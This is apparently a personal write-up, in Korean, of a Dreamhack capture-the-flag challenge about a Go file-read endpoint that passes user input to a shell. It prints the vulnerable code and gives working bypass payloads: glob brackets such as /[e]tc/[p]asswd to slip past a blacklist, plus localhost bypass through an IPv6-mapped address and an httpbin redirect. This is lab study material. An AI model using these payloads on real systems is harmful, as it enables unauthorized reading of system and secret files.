



[Dreamhack] HTTP File Reader

🕒 생성일	2025년 3월 11일 오전 9:57
≡ AI 키워드	
↗️ 상위 항목	✈️ DreamHack
≡ 태그	

문제

Description

Simple file read service.

코드 분석

```
package api

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "os/exec"
    "regexp"
    "strings"

    "github.com/gin-gonic/gin"
)

var banned = regexp.MustCompile(`(?i)(flag|[\@\$%\*\{\}\!\?\.\.\%\\;\|\"\'\"#\^&\(\)\+\=\<\>\\])`)
```

```

func CheckFileName(path string) error {
    if loc := banned.FindStringIndex(path); loc != nil {
        bad := path[loc[0]:loc[1]]
        return fmt.Errorf("disallowed char detected: %q", b
ad)
    }
    return nil
}

func RegisterReadRoutes(r *gin.Engine) {
    r.GET("/api/read", func(c *gin.Context) {
        ipPort := c.Request.RemoteAddr
        host := ipPort
        if i := strings.LastIndex(ipPort, ":"); i != -1 {
            host = ipPort[:i]
        }

        clientIP := net.ParseIP(host)
        if clientIP == nil {
            c.String(http.StatusBadRequest, "invalid client
ip")

            return
        }

        if !clientIP.Equal(net.ParseIP("127.0.0.1")) {
            c.String(http.StatusForbidden, "access denied")
            return
        }

        filename := c.Query("filename")
        if filename == "" {
            c.String(http.StatusBadRequest, "missing filena
me")

            return
        }

        if err := CheckFileName(filename); err != nil {

```

```

        c.String(http.StatusForbidden, err.Error())
        return
    }

    cmd := exec.Command("sh", "-c", "cat " + filename)
    stdout, err := cmd.StdoutPipe()
    if err != nil {
        c.String(http.StatusInternalServerError, "failed to create stdout pipe")
        return
    }

    if err := cmd.Start(); err != nil {
        c.String(http.StatusInternalServerError, fmt.Sprintf("failed to start command: %v", err))
        return
    }

    c.Header("Content-Type", "text/plain")
    if _, err := io.Copy(c.Writer, stdout); err != nil {
        c.String(http.StatusInternalServerError, fmt.Sprintf("error copying output: %v", err))
        return
    }

    cmd.Wait()
}))
}

```

```

var banned = regexp.MustCompile(
    `(?!i)(flag|[\@\$%\*\{\}\!\\?\.\\%\\;\\|\\\"\\'\\#\\^\\&\\(\\)\\+\\=\\<\\>\\|\\])`,
)

```

목표는 localhost , flag 우회이다

필터는 다음을 차단한다.

- `flag` 문자열
- `*`
- `?`
- `.`
- `$`
- `;`
- `|`
- 각종 셸 메타문자

하지만 대괄호는 차단하지 않는다.

찾아보니 golang **Affected Versions** Go versions before **1.21.11** Go versions `1.22.0` up to **1.22.3** (fixed in `1.22.4`) 일 때 `::ffff:127.0.0.1` 이걸로 localhost를 우회할 수 있다고 한다.

(또는 `httpbin.org/redirect-to?url` 이렇게 httpbin.org라는 웹을 사용하여 우회할 수 있다고 한다.)

flag는 POSIX shell glob bracket expression라고 검색해서 우회를 할 수 있다.

```
https://github.com/micromatch/expand-brackets
```

```
ex - /[e]tc/[p]asswd
```

PoC

```
::ffff:127.0.0.1
```

```
/api/read?filename=[f]lag[:graph:]txt
```

```
Host: httpbin.org
Port: 80
Path: /redirect-to?url=http%3A%2F%2F127.0.0.1%3A8080%2Fapi%2Fread%3Ffilename%3D%252F%255Bf%255Dlag%255B%255B%253Agraph%253A%255D%255Dtxt
```